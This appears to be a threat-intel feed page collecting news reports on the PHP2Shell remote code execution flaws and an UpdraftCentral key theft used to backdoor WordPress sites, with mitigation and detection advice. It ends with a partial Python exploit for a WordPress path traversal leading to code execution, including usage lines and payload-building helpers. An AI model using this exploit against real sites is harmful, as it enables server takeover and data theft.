Search/wordpress
● Malware

wordpress

Indicators tracked
1
View 1 indicators
Connections
449 relationships
PHP脆弱性、海外では“政府サイトごと停止”も オランダの電子認証やWikipedia関連サービスなどにも影響
PHP脆弱性、海外では“政府サイトごと停止”も オランダの電子認証やWikipedia関連サービスなどにも影響 Webサイトの約7割で使うとされるプログラミング言語「PHP」の「緊急」レベルの脆弱性2件を受け、海外でも政府や企業が対応を迫られた。オランダ政府は行政ポータル「Overheid.nl」など行政手続きに使うネットサービスを遮断。フィンランド政府も公開向けのネットサービスを全て停止するなど、10月21日から各国で予防的な停止が広がった。 オランダはサイバー当局自身も停止、欧米各国に波及 米CNBCなどによると、オランダ政府はOverheid.nlと、国が持つ個人データを確認できる「MijnOverheid.nl」、認証基盤「DigiD」のサイトを予防措置として停止した。同国の国家サイバーセキュリティセンター(NCSC)は自らのサイトも止めた。下院やデータ保護当局、ロッテルダム港、サッカー協会KNVB、主要5政党、複数の病院もサイトを一時停止したという。 フィンランドでは、政府のITサービスを担うValtoriが「予防措置」として公開向けのネットサービスを全て停止した。フランスは内務省が地方自治体の行政サイトを一時停止し、カナダではエバン・ソロモンAI・デジタル革新担当相が一部サイトの一時停止をXで明らかにした。オーストラリアでは通信情報局(ASD)傘下のサイバーセキュリティセンター自身が影響を受け、一部の政府サイトが一時使えなくなったほか、ドイツやデンマークの政府機関も予防的にサイトを止めた。 米NSA「更新できないならオフラインに」 米国では、サイバーセキュリティ・インフラセキュリティ庁(CISA)が修正版の速やかな適用を要請したほか、国家安全保障局(NSA)が「即時の更新が難しい場合は、対策が済むまでシステムをオフラインにすることを推奨する」とXで勧告した。 ホワイトハウスは21日(現地時間)、ロイター通信などに対し「連邦機関や主要AI企業と連携し、修正の展開を急いでいる」との声明を出した。連邦機関のPHP利用状況の点検と、重要インフラ事業者の修正適用の支援を進めているという。 WikipediaやAsanaにも波及 Cloudflareは「応急措置」で防御 著名サービスにも停止が広がった。米テックメディアのHow-To Geekによると、仕事管理ツール「Asana」やゲーム配信サービス「GOG」も一時停止したという。このほか、電子契約サービス「Dropbox Sign」や画像掲示板「4chan」、イラスト投稿サイト「DeviantArt」も、脆弱性対応のメンテナンスを実施した。 Wikipediaを運営する米Wikimedia財団は「ほとんどのwikiを支えるPHPの脆弱性への対応を進めている。この問題はWikimedia固有のものではない」と米Newsweekに声明を出した。一方、ブログサービス「WordPress.com」を運営する米Automatticは、WordPress.comなどでホストするサイトは保護済みで、利用者側の対応は不要と説明している。 こうした停止の動きと並行して、米Cloudflareは修正版の公開前に、脆弱性を突く不正な通信を検知して遮断するルールをWAF(Webアプリケーションファイアウォール)向けに配布した。ただ、同社最高技術責任者(CTO)のデーン・クネヒト氏は、初期の攻撃の試みを観測したとした上で、このルールは「あくまで応急措置」と述べ、本体の更新を促した。 今回の脆弱性は「CVE-2026-109618」「CVE-2026-109619」の2件で、攻撃者が認証なしで遠隔から任意のコードを実行できる恐れがある。深刻度評価(CVSS v4.0)はいずれも9.2。PHPの開発チームは修正版のPHP 8.5.12/8.4.27/8.3.36/8.2.35を既に公開しており、全利用者に即時の適用を呼び掛けている。日本でも修正版の公開に先立ち、著名サービスが相次ぎ緊急メンテナンスに入っていた。 Copyright © ITmedia, Inc. All Rights Reserved.
itmedia.co.jpOct 22, 2026extracted
PHP2Shell è allarme PHP! Due falle critiche aprono la strada agli hacker nei server web di tutto il mondo
Il 20 ottobre 2026, il team di sicurezza di PHP ha pubblicato un avviso preliminare relativo a un rilascio di emergenza imminente, volto a risolvere due vulnerabilità critiche (entrambe con un punteggio CVSS di 9.2 ). Le patch sono state rilasciate mercoledì 21 ottobre 2026. Il rilascio è stato accelerato dopo che informazioni sulle vulnerabilità sono trapelate pubblicamente. In un post su Hacker News, un utente ha segnalato due falle di esecuzione di codice remoto (RCE) in PHP, che presumibilmente interessavano tutte le versioni a partire dalla 5.4.0. Le vulnerabilità in questione sono CVE-2026-109618 e CVE-2026-109619 . Al momento della pubblicazione, erano riservate ma non divulgate. Poco dopo la comparsa dell’articolo, i ricercprendilo hanno confermato l’esistenza delle vulnerabilità. Insieme ai dettagli trapelati, è apparso online un exploit ufficiosamente soprannominato PHP2Shell . Un video dimostrativo trapelato mostra l’ exploit in azione su server web che utilizzano WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal e WHMCS , che alimentano molti siti web moderni. L’autenticità della demo e il comportamento esatto dell’exploit non sono stati confermati in modo indipendente al momento della pubblicazione. Secondo il ricercatore che ha pubblicato il PoC , le vulnerabilità sono legate alla gestione del tipo multipart/form-data insieme al meccanismo di caricamento dell’avanzamento della sessione.  Le vulnerabilità si trovano nel core di PHP e rientrano nelle categorie Use-After-Free e corruzione della memoria . Ciò significa che le falle non possono essere corrette tramite codice applicativo: la soluzione è possibile solo aggiornando PHP sul server. L’attacco funziona senza autenticazione: un utente malintenzionato con accesso di rete a un’applicazione PHP può eseguire codice arbitrario per conto del processo PHP senza richiedere autorizzazione. Gli avvisi di sicurezza pubblicati da PHP il 21 ottobre confermano queste informazioni. Le vulnerabilità interessano le versioni 5, 6, 7 e 8 di PHP . Al momento della pubblicazione, sono supportate le versioni dalla 8.2 alla 8.5 . Le versioni precedenti, tra cui PHP 8.1, 8.0, 7.x e 5.x, hanno raggiunto la fine del ciclo di vita. Tuttavia, data l’elevata gravità delle vulnerabilità, sono state rilasciate patch di backport anche per le versioni 7.4, 8.0 e 8.1. Nel frattempo, il ricercatore di sicurezza informatica Kirill Firsov ha pubblicato un video con la dimostrazione dell’exploit PHP2Shell. S econdo i suoi dati, gli autori dell’exploit e del video sono i ricercatori lcfr_hax e calif_io. Nel video, PHP2Shell esegue codice su server di test con WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal e WHMCS. Inoltre, i giornalisti di Ars Technica menzionano un rapporto non confermato sul problema PHP2Shell apparso in rete, di cui non sono riusciti a trovare l’originale. Gli esperti di Sansec si aspettano che attacchi su larga scala alle nuove vulnerabilità di PHP possano iniziare già 15 minuti dopo il rilascio delle patch. Inoltre, gli amministratori sono invitati a prepararsi in anticipo per l’aggiornamento dagli esperti delle aziende Wordfence e Huntress , che hanno già emesso avvertimenti separati su PHP2Shell. Si consiglia agli amministratori di preparare in anticipo un elenco di applicazioni PHP e server, di creare backup dei siti e dei database e di pianificare l’aggiornamento immediatamente dopo il rilascio delle patch. Raccomandiamo vivamente agli amministratori responsabili dei server web PHP accessibili pubblicamente di adottare le seguenti misure prima del rilascio della patch: Eseguire un inventario di tutti i sistemi che utilizzano PHP nell’infrastruttura (inclusi server web, pannelli di controllo, software di terze parti, ecc.). Disabilitare l’avanzamento del caricamento:session.upload_progress.enabled = Offcon l’aiuto diflag_amministratore_phpnei pool PHP-FPM. Bloccare le richieste multipart sui server nginx e Apache. Si consiglia di isolare temporaneamente le applicazioni PHP esposte a Internet fino al rilascio delle correzioni. Assicurarsi che la patch sia pronta per l’installazione immediata non appena viene pubblicata. Pianificare la migrazione al ramo PHP corrente per i server con versioni non supportate (8.1 e precedenti). L'articolo PHP2Shell è allarme PHP! Due falle critiche aprono la strada agli hacker nei server web di tutto il mondo proviene da Red Hot Cyber .
redhotcyber.comOct 22, 2026extracted
PHP2Shell: Why websites are going offline for emergency security updates
If you’ve encountered websites in maintenance mode today, it may be a security precaution. Reports of attacks targeting two critical PHP vulnerabilities have prompted warnings to install emergency updates and consider temporarily taking affected services offline until they can be patched. The vulnerabilities, known as PHP2Shell, are tracked as CVE-2026-109618 and CVE-2026-109619. Both carry a severity rating of 9.2 out of 10. Why this matters PHP is a programming language that works behind the scenes to power a large part of the web. It underpins WordPress, Drupal, Joomla, Magento, and many other applications, including software whose users may not realize PHP is involved. Successful exploitation could let an attacker run malicious code on an affected server without logging in. That code would run with the permissions available to the PHP process, potentially allowing attackers to steal application data, alter website content, or establish a backdoor . The PHP team says all PHP installations serving web requests are at risk. In some configurations, an attacker can trigger an exploit before the website’s own code even runs. Cloudflare’s chief technology officer, Dane Knecht, has reported “early attacks emerging,” while warning that firewall mitigations are only a stopgap. Emergency patches are now available The PHP team scheduled its emergency security updates for October 21 at 10:00 am ET (14:00 UTC). It has now released fixes in PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35 , and urges users to update immediately. Administrators should check with their hosting provider or operating system vendor for the appropriate updated packages. You may still encounter offline websites while administrators install the updates and check their systems. CERT-EU recommends identifying PHP-based applications and patching as soon as possible. Where an immediate fix is not feasible, it advises considering isolation of internet-facing applications from public networks. The risk may outlast today’s emergency The longer-term concern is forgotten infrastructure: abandoned websites, unsupported applications, and connected devices with PHP-based management interfaces. Vulnerable installations may remain exposed if nobody maintains them or a vendor no longer supplies updates. PHP 8.1 and older no longer receive routine security updates from the PHP project. Administrators using those versions should check whether their vendor supplies a fix or arrange an upgrade to a supported version. Website owners should establish who updates their underlying PHP installation. Updating WordPress or its plugins is not the same as updating PHP. Hosting providers or server administrators may need to apply the fix. For visitors, temporary downtime alone doesn’t mean a website has been breached. It may reflect a protective decision while its administrators install updates. However, consumers need to be extra careful as a “trusted website” may no longer be trustworthy, and not just because of PHP2Shell, but also because of eight compromised TLS certificates . Shahak Shalev, Global Head of Scam and AI Research at Malwarebytes, said: “This is a goldmine for hackers. They can hijack real websites to take advantage of the site’s reputation to do things like phish people, serve malicious software from the trusted channel. The opportunities are endless.” What to do If you’re a website visitor: Some websites may temporarily go offline while they are patched. Watch for unexpected content, downloads, or redirects, and repeated login requests, even on familiar sites. If something looks wrong, leave the page. You don’t need to install PHP updates on your own device. If you’re a website owner: Ask your hosting or IT provider to confirm PHP fixes are installed , not just scheduled, across all your websites and applications. If they can’t patch immediately, ask whether affected services should temporarily be taken offline. If you manage your own servers, follow PHP’s update instructions . Using unsupported PHP? Check for a vendor fix or upgrade to a supported version. What Malwarebytes is doing Helping keep you safe from hacked websites: Malwarebytes web protection and Browser Guard block known harmful sites, scam pages, and dangerous downloads. Our researchers are watching for websites compromised through these flaws so we can quickly add them to our block lists. Updating our own websites: We use a managed hosting provider and are working with them to install the PHP fixes. We are closely monitoring our websites until the updates are in place. Stop threats before they can do any harm. Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →
malwarebytes.comOct 21, 2026extracted
PHP2Shell: How to Protect Your Server | Kaspersky official blog
Two critical vulnerabilities have been discovered in the popular PHP programming language. The vulnerabilities, identified as CVE-2026-109618 and CVE-2026-109619 , allow attackers to remotely execute code on a server running PHP without authentication. The language’s development team has released updates for all supported branches, but the first attempts to exploit the vulnerabilities were observed even before the patches were published. The exploit has been named PHP2Shell. The architectures of popular marketplaces, e-commerce platforms, and learning management systems (LMS) are written in PHP. In addition, PHP is used in various content management systems (CMS) such as WordPress, Drupal, Joomla, and so on, which power most websites on the internet. In this blogpost, we discuss CVE-2026-109618 and CVE-2026-109619 in detail, and explain how companies can protect their infrastructure. Read the Securelist expert blog to learn how events surrounding these vulnerabilities unfolded before the patch was released. Vulnerable PHP versions According to PHP web site, versions prior to 8.2.35, 8.3.36, 8.4.27, and 8.5.12 are vulnerable to CVE-2026-109618 and CVE-2026-109619. There are no official fixes for older branches. According to unofficial reports, the vulnerabilities also affect PHP versions starting with 5.4.0. What makes CVE-2026-109618 and CVE-2026-109619 dangerous Both vulnerabilities received a score of 9.2 on the CVSS v4.0 scale. They arise because, after a request is interrupted (for example, due to a memory shortage), PHP leaves invalid data in the memory buffer, and subsequently accesses it, allowing code to be executed on the server. One of the confirmed attack chains via CVE-2026-109619 exploits the session.upload_progress mechanism (which tracks file upload progress), which is enabled by default in PHP. By exploiting these vulnerabilities, attackers can remotely execute code on the server with web server process privileges without authentication. According to PHP developers, all installations of unpatched versions that process web requests are at risk, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed. The greatest risk lies with mod_php: researchers demonstrated an exploit for it in which an unauthenticated request triggers the attack even before the application code is executed. What businesses should do We’ve compiled key recommendations from the PHP developers and experts at Kaspersky. Update PHP to versions 8.5.12, 8.4.27, 8.3.36, or 8.2.35. Start with systems accessible from the internet. The source code is available on the PHP website . If PHP is installed from distribution packages or provided by your hosting provider, check for updated packages: Linux distributions and LTS vendors received patches in advance. If the server is managed by a hosting provider, ask them to apply the update. Versions 8.1 and older no longer receive updates from the PHP project. Check with your distribution vendor or LTS support provider to see if backported fixes are available, or switch to a supported branch. For PHP 7.4, 8.0, and 8.1, the developers have prepared minimal source code backports for manual compilation. These can also be found on the PHP website . Restart PHP-FPM or the web server so that the processes load the new code, and verify the version using the php -v command. If PHP was installed from distribution packages, check the package changelog: the version number may remain the same. Check the logs from October 20. A warning sign is when the web server process is performing actions it shouldn’t (running command shells, curl, wget, and the like). Kaspersky solutions help detect malicious activity in a timely manner. Attempts to exploit the described RCE vulnerabilities on Linux and Windows machines can be detected using Kaspersky NEXT EDR Expert , while exploitation of PHP2Shell in network traffic is detected by Kaspersky Anti Targeted Attack (KATA) with the NDR module. If an immediate update is not possible Only the immediate installation of patches will fully resolve the issue, but if that isn’t possible, it’s recommended to implement temporary measures. PHP developers provide step-by-step instructions for each vulnerability.
kaspersky.comOct 21, 2026extracted
Widespread PHP Flaw May Cause Many Site Outages Today
Expect to see quite a few websites serving error pages today: Nearly 70 percent of websites need to update their core software to fix a pair of vulnerabilities that allow an attacker to seize full control over affected servers. Experts say there are working exploits for the flaws, and that these critical bugs are already being exploited in the wild. Image: Shutterstock.com, Sashkin. The flaws at issue are present in PHP , the programming language that powers sites running on a large number of web publishing systems, including Drupal , Magento , Joomla and WordPress . Earlier today, PHP released an emergency security update to fix two critical bugs that can allow an attacker to execute code of their choosing on a vulnerable server. Reuters reports that government websites in Europe and elsewhere went offline today after the PHP vulnerabilities were disclosed. Cloudflare said it has already detected some exploitation of the flaw, and that at 3:02 am (UTC) it implemented web application firewall rules to protect websites from attack traffic seeking to exploit the bugs, which could cause a denial of service condition, remote code execution, and data exposure. OpenAI , which was involved in the vulnerability research and outreach, said “given the severity of these flaws and PHP’s widespread use, we consider this one of the most impactful security issues in recent memory.” Censys , a company that tracks the technology used by Internet hosts, said a recent scan identified approximately 2.58 million Internet facing hosts and 54.9 million web properties running PHP. Security experts at Wiz said every PHP version released in the last decade is affected by at least one of these vulnerabilities [full disclosure: Wiz is an advertiser on this blog]. “These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history,” reads a blog post published today by a team of researchers at Wiz, which was one of several organizations credited with discovering the vulnerabilities. “The underlying flaws had been present for decades, but demonstrating their exploitability required an exceptionally complex chain of steps, at the edge of what human researchers could practically achieve. Frontier AI models substantially reduced that barrier, turning a longstanding flaw into an exploit.” The Wiz researchers say it is likely the PHP vulnerabilities will be mass-exploited to install web-based backdoors or “web shells,” which give attackers a web-based panel that allows them to remotely control infected sites. Wiz said that prior to the PHP bugs being publicly disclosed, the company worked with the PHP team, Calif and OpenAI to measure the size of the problem and coordinate patch verification and disclosure. The PHP zero-day vulnerabilities are being tracked by their CVE numbers, CVE-2026-109618 and CVE-2026-109619 , and they affect all web servers running PHP 5.4 or later. The bugs are fixed in PHP 8.5.12 , 8.4.27 , 8.3.36 , and 8.2.35 . According to Wiz, PHP is so deeply embedded in many web applications that we are likely to see organizations struggling to patch these vulnerabilities for some time to come, comparing this PHP vulnerability pair with the Log4Shell weakness that emerged in 2021 — a widespread, severe-as-it-gets security flaw in Log4j, a popular Java logging framework. “A vulnerability in core PHP reaches far beyond a single application,” the Wiz researchers wrote. “PHP runs across clouds, hosting providers, content-delivery networks and millions of independently managed servers. Reducing exposure before the technical details became public required coordinated work across that entire ecosystem.” The SANS Internet Storm Center is keeping an eye on major software platforms that are shipping updates to deal with these PHP flaws. For example, Ubuntu just released updated PHP packages. For a technical deep-dive on these vulnerabilities that tells the timeline of the discovery of these bugs in a comic book style, check out this post from Calif , another technology company credited with finding the PHP flaws. This is a fast-moving story. Updates will be noted here with timestamps. Update, 2:30 pm ET: Add figures from Censys and a link to Calif’s writeup.
krebsonsecurity.comOct 21, 2026extracted
Critical RCE vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619)
Vulnerability overview On October 20, 2026, the PHP security team published a preliminary notice regarding an upcoming emergency release that addresses two critical vulnerabilities (both rated 9.2 on the CVSS scale). The patches were released on Wednesday, October 21, 2026, at 14:00 UTC. The release was expedited after information about the vulnerabilities was leaked to the public before the scheduled embargo was lifted. In a post on Hacker News, a user reported two RCE vulnerabilities in PHP, allegedly affecting all versions starting with PHP 5.4.0. The vulnerabilities in question are CVE-2026-109618 and CVE-2026-109619. Shortly after the post appeared, researchers confirmed the existence of the vulnerabilities. Along with the leak of details, an exploit unofficially named PHP2Shell appeared online. In the leaked demo video, the exploit is shown in action on web servers running WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal, and WHMCS — platforms that power many modern websites. The authenticity of the demonstration and the exact behavior of the exploit had not been independently verified at the time of publication. According to the researcher who published the PoC, the vulnerabilities are related to the handling of the multipart/form-data MIME type in conjunction with the session upload progress mechanism ( session.upload_progress ) in the PHP core and fall under the categories of use-after-free and memory corruption. This means that the flaws cannot be patched via application code, and the only possible fix is to update PHP on the server. The attack works without authentication: an attacker with network access to a PHP application can execute arbitrary code on behalf of the PHP process without needing to authenticate. Security advisories issued by PHP on October 21 confirm this information. The vulnerabilities affect PHP versions 5, 6, 7, and 8. As of this publication, branches from 8.2 to 8.5 are supported. Older branches, including PHP 8.1, 8.0, 7.x, and 5.x, have reached the end of their lifecycle; however, due to the critical severity of the vulnerabilities, backported patches have also been released for versions 7.4, 8.0, and 8.1. Sansec experts estimate that widespread exploitation could begin within 15 minutes of the update’s release. We strongly recommend that administrators responsible for publicly accessible PHP web servers take the following steps before the patch is available: Conduct an inventory of all PHP-based systems in the infrastructure (including web servers, control panels, third-party software, etc.). Disable upload-progress: set session.upload_progress.enabled = Off using the php_admin_flag in PHP-FPM pools. Block multipart requests on nginx and Apache servers. Consider temporarily isolating PHP applications that connect to the Internet until fixes are released. Ensure readiness to install the patch immediately upon its release. Plan to migrate servers running unsupported versions (8.1 and earlier) to the latest PHP branch. Detection by Kaspersky solutions Kaspersky solutions detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below. When an attempt is made to exploit these RCE vulnerabilities,  Kaspersky Endpoint Detection and Response promptly alerts the user to suspicious actions performed in the context of a web server, on both Linux and Windows machines. This activity is detected by the following rules: creating_windows_shell_from_a_web_servers_process ; possible_web_shell_creating_via_exploit ; spawning_process_from_webserver_more_filters_linux ; webserver_interpreter_execution_linux ; executable_file_in_www_folder . Detection of the PHP2Shell vulnerability exploit by KEDR Exploitation of the PHP2Shell vulnerability in network traffic is detected by Kaspersky Anti Targeted Attack (KATA) . This solution detects such activity with the following verdicts: Exploit.CVE-2026-109618.HTTP.C&C and Exploit.CVE-2026-109619.HTTP.C&C . Detection of the PHP2Shell vulnerability exploit by KATA Our Kaspersky Endpoint Security solution, now available as Kaspersky Next , also detects malicious post-exploitation activity using the Behavior Detection component , such as PDM:Exploit.Linux.Generic and PDM:Exploit.Win32.Generic.
securelist.comOct 21, 2026extracted
PHP devs publish critical bug fix as site owners warned: Pull 'em offline if you're unpatched
PHP developers have released emergency updates for two critical vulnerabilities after cybersecurity authorities warned organizations to patch immediately or consider taking exposed applications offline. PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35 address CVE-2026-109618 and CVE-2026-109619, which can allow unauthenticated remote code execution. The project's developers urged users to update immediately. All PHP installations serving web requests are potentially affected, including deployments using PHP-FPM, Apache's mod_php, php-cgi, FrankenPHP, and LiteSpeed, the developers said. "We consider the risk highest for mod_php, with a demonstrated exploit where an unauthenticated request can trigger the attack before any application code runs." Jake Knott, head of threat intelligence at watchTowr, said: "As expected, watchTowr Intel is already observing in-the-wild exploitation of the latest PHP vulnerabilities, with a variety of vibecoded PoCs already hitting our sensors featuring a variety of 'php2shell' User-Agents. Whilst nobody has been successful to date, we don't expect that will last long." "Where immediate patching is not feasible, organizations should consider isolating internet-facing applications from public networks until a fix is available," CERT-EU said in an advisory issued ahead of the patches. The body lists both vulnerabilities with CVSS scores of 9.2. Finnish government services and websites belonging to the Dutch parliament, cybersecurity authorities, and data protection regulator were taken offline as a precaution. Privacy campaign group noyb also temporarily withdrew its website. PHP "powers WordPress, Drupal, Joomla, and Magento sites, shared hosting platforms, control panels, and an awful lot of software that doesn't even advertise that it runs PHP under the hood," infosec vendor Huntress noted. That makes identifying exposed installations a substantial job. "The number of places you have to go looking to identify vulnerable PHP versions gets very big, very fast," said John Hammond, Huntress's senior principal security researcher. ®
theregister.comOct 21, 2026extracted
Stolen UpdraftCentral keys used to backdoor WordPress sites
A threat actor breached TeamUpdraft's website, a developer of popular WordPress backup and security plugins, potentially compromising UpdraftCentral connection keys that can send commands to connected websites. TeamUpdraft detected unauthorized access to its infrastructure over the weekend and believes that the hacker accessed the customer database. The developer offers several WordPress tools for backup, storage, and site management: UpdraftPlus: website backup and restoration plugin with more than 4 million downloads UpdraftCentral: for managing multiple sites remotely UpdraftVault: for cloud backup storage UpdraftClone: for creating staging websites "Over the weekend of 17-18 October we identified unauthorised access to the teamupdraft.com website," TeamUpdraft said in an advisory yesterday. "Our team responded straight away and worked through the night to contain it – we closed the access route, signed out every account and replaced the keys and credentials that could have been affected." The vendor says it believes the threat actor accessed its customer database, which included details about the customer and billing, order history, as well as more sensitive information: password hashes two-factor authentication settings connection keys for UpdraftCentral, UpdraftVault, and UpdraftClone services The vendor said it did not store any payment details and noted that UpdraftPlus plugin files and downloads remain unaffected. Self-hosted UpdraftCentral instances are not impacted. Even if backups in customers' own remote storage are unaffected, the company recommends that users rotate storage credentials and reauthorize connections if they accessed their site through UpdraftCentral. Massive blast radius An estimated 10% of sites using UpdraftPlus have an UpdraftCentral or Migrator key, potentially exposing around 400,000 websites to the attack. According to Patchstack lead researcher Oliver Sild, attackers have begun using stolen access keys to backdoor sites connected to UpdraftCentral, saying the campaign may be more severe than the "wp2shell” attack. The WordPress plugin security company says that the attacks started on October 18 at 15:32 UTC to execute arbitrary code and add accounts with full administrator privileges. The researchers logged at least 99 malicious backdoor plugins with distinct names disguised as WordPress maintenance and optimization tools, such as “Site Health Cache.” Although Patchstack describes an early variant of the backdoor plugin that is broken due to a coding error, a report from web application security firm Nethemba documents a newer version that lets attackers create privileged accounts or log in as existing administrators. Nethemba says three of its own WordPress websites were targeted through UpdraftCentral, with malicious plugins successfully installed on two of them. “All three sites ran the current WordPress 7.1.3 and UpdraftPlus 2.26.11, which is patched against the June vulnerability CVE-2026-10795,” Nethemba says. “The attacker did not break into our servers and did not exploit any weakness in our configuration. The attacker came in through the UpdraftCentral remote management channel and signed the commands with valid private dashboard keys” Nethemba reports that the vendor's initial 1.26.12/2.26.12 release was meant to remove UpdraftCentral Cloud keys, but a bug prevented it from doing so. Users are recommended to update UpdraftPlus to 1.26.13 (free) / 2.26.13 (Premium) or later. After updating, it is recommended to log into each WordPress site and delete the UpdraftCentral connection keys from Settings → UpdraftPlus Backups → Advanced Tools → UpdraftCentral → Manage existing keys. Administrators should inspect logs and files for indicators of compromise provided by TeamUpdraft, Patchstack, and Nethemba. If compromise is confirmed, it is recommended to restore sites from clean backups, change the TeamUpdraft account password, revoke all sessions, and reset the two-factor authentication protection method. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comOct 21, 2026extracted
PHPに「緊急」レベルの脆弱性2件 修正版を日本時間21日深夜に公開へ、事前準備を呼び掛け
PHPに「緊急」レベルの脆弱性2件 修正版を日本時間21日深夜に公開へ、事前準備を呼び掛け PHPの開発プロジェクトでセキュリティを担当するチームは10月20日(協定世界時)、2件の重大な脆弱性を修正するセキュリティアップデートを同日午後2時(日本時間の21日午後11時)に公開すると予告した。脆弱性の詳細や影響を受けるバージョン、修正版のバージョンは公開と同時に明らかにする。全てのPHPユーザーに対し、修正版が出たらすぐに適用できるよう事前準備を呼び掛けている。 PHPは、Webサイトの裏側で動くプログラムを書くためのプログラミング言語。ブログや企業サイトの構築に広く使われているCMS「WordPress」もPHPで書かれている。Web技術の利用状況を調査する米W3Techsによると、サーバ側の言語が判明しているWebサイトのうち約7割がPHPを使っている。一般のユーザーがPHPに直接触れることはほとんどないが、PHPに脆弱性があると、PHPで動いている多数のWebサイトやサービスが影響を受ける可能性がある。 2件の脆弱性は、いずれもCVSS(バージョン4.0)で9.2と評価されている。CVSSは脆弱性の深刻度を0~10の数値で示す共通の指標で、9.0以上は最も深刻な「Critical」(緊急)に分類される。PHPのチームは、脆弱性の詳細が外部に漏れた場合や、実際に悪用されている証拠が見つかった場合は、予定より早く公開する可能性があるとしている。 欧州連合(EU)の機関向けのセキュリティ組織CERT-EUも、20日付で注意喚起を公開した。それによると、2件の脆弱性には「CVE-2026-109618」「CVE-2026-109619」の識別番号が割り当てられている。技術的な詳細はまだ公表されていないが、CERT-EUは、CVSSの評価値から、リモートコード実行の恐れがあるとの見方を示している。CERT-EUは外部の情報を基に、PHP 5以降の全バージョンが影響を受ける懸念があるとしている。 CERT-EUはEUの各組織に対し、PHPで動いているアプリケーションを洗い出し、修正版が公開されたらすぐに適用できるよう準備することを強く推奨している。すぐに適用できない場合は、修正を適用するまでインターネットに公開しているアプリケーションを外部ネットワークから切り離すことも検討するよう求めている。 Copyright © ITmedia, Inc. All Rights Reserved.
itmedia.co.jpOct 21, 2026extracted
[webapps] WordPress 7.0.2 - Path Travesal
Exploit Title: WordPress 7.0.2 - Path Travesal Google Dork: N/A Date: 2026-09-22 Exploit Author: Robert Ressl (https://ressl.ch) Vendor Homepage: https://wordpress.org Software Link: https://wordpress.org/download/releases/ Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every = branch down to 4.7.37) Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi= cial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64) CVE: CVE-2026-87902 Advisory: https://github.com/WordPress/wordpress-develop/security/advisor= ies/GHSA-7hp8-65ch-5whp Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/ Source: https://github.com/ressl/cve-2026-87902-poc Requires: Python 3.6+ (standard library only) Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N= ] [--depth 7] Preconditions (the Source repository ships a lab that provides all of the= m): a published page that uses the default template (auto-detected via RE= ST, or --page-id) a top-level page-* directory in the active theme (--theme-dir, defa= ult page-templates) a readable PEAR pearcmd.php (--include) and register_argc_argv=3DOn f= or the web SAPI a writable directory for the PEAR payload (--output, default /tmp) """ CVE-2026-87902 - unauthenticated path traversal in WordPress page-template resolution leading to local PHP file inclusion (and, where the deployment allows it, to PHP code execution). Two anonymous POST requests are enough: Stage 1 The traversal makes the template loader include a readable local .php file outside the theme roots. With PEAR present and register_argc_argv=3DOn, /usr/local/lib/php/pearcmd.php acts= as a file-write gadget: config-create serializes attacker-controlle= d data - including PHP opening tags - into a writable directory. Stage 2 The same traversal includes the generated file, so the embedded = PHP runs with the privileges of the web-server account. The WordPress defect is the missing path containment. PEAR is only one environment-dependent way of turning the inclusion into code execution. For authorized security testing and research only. """ import argparse import http.client import json import ssl import sys from urllib.parse import urlsplit USER_AGENT =3D "cve-2026-87902-poc/1.0" Lab defaults (see lab/ and README.md). WordPress appends .php to the traversal target, so those paths are always given without the suffix. DEFAULT_MARKER =3D "CVE-2026-87902-POC-OK" DEFAULT_THEME_DIR =3D "page-templates" # theme directory supplyi= ng the fixed page- prefix DEFAULT_INCLUDE =3D "/usr/local/lib/php/pearcmd" # gadget included in stag= e 1 DEFAULT_OUTPUT =3D "/tmp/wp-pear-rce-flag" # PEAR writes .p= hp to this path DEFAULT_READ =3D "/flag" # file printed by the inj= ected PHP LAB_DEPTH =3D 7 # .. segments from the = theme root to / def send_request(base, method, path, body=3DNone, timeout=3D20.0, insecure= =3DFalse): """Send a request with a byte-exact request target. The request target must reach the server unmodified: the raw , = =3D and + bytes are load-bearing (PHP splits the raw query string into PE= AR's argv and does not URL-decode the individual arguments), so nothing may = be re-encoded on the way out. """ parts =3D urlsplit(base) if not parts.hostname: raise ValueError("invalid target URL: %s" % base) if parts.scheme =3D=3D "https": context =3D ssl._create_unverified_context() if insecure else ssl.c= reate_default_context() conn =3D http.client.HTTPSConnection( parts.hostname, parts.port or 443, timeout=3Dtimeout, context= =3Dcontext ) else: conn =3D http.client.HTTPConnection(parts.hostname, parts.port or 8= 0, timeout=3Dtimeout) headers =3D { "User-Agent": USER_AGENT, "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", } try: conn.request(method, path, body=3Dbody, headers=3Dheaders) response =3D conn.getresponse() return response.status, response.read().decode("utf-8", "replace") finally: conn.close() def php_literal(value): """Quote-free PHP string literal: /flag -> chr(47).chr(102).chr(108).= ..""" return ".".join("chr(%d)" % ord(char) for char in value) def double_encode(path): """Encode a theme-relative path for the request body. PHP decodes the form body once. WordPress must still see the escaped oc= tets (%2f, %2e) afterwards, so that wp_basename() and the query saniti= zer leave the traversal alone; get_page_template() decodes them much late= r. """ once =3D path.replace("/", "%2F").replace(".", "%2E") return once.replace("%", "%25") def candidate(theme_dir, depth, target): """Theme-relative candidate path for an absolute local target. WordPress prepends the fixed page- prefix when building the template name, so the path segment derived from a theme directory page-template= s is templates: page- + templates/../../ + .php. """ prefix =3D theme_dir[len("page-"):] if theme_dir.startswith("page-") el= se theme_dir return prefix + "/" + "../" * depth + target.lstrip("/") def find_page(base, timeout, insecure): """Find a published page using the default template (anonymous REST cal= l).""" routes =3D ( "/index.php?rest_route=3D/wp/v2/pages&per_page=3D100&_fields=3Did,s= 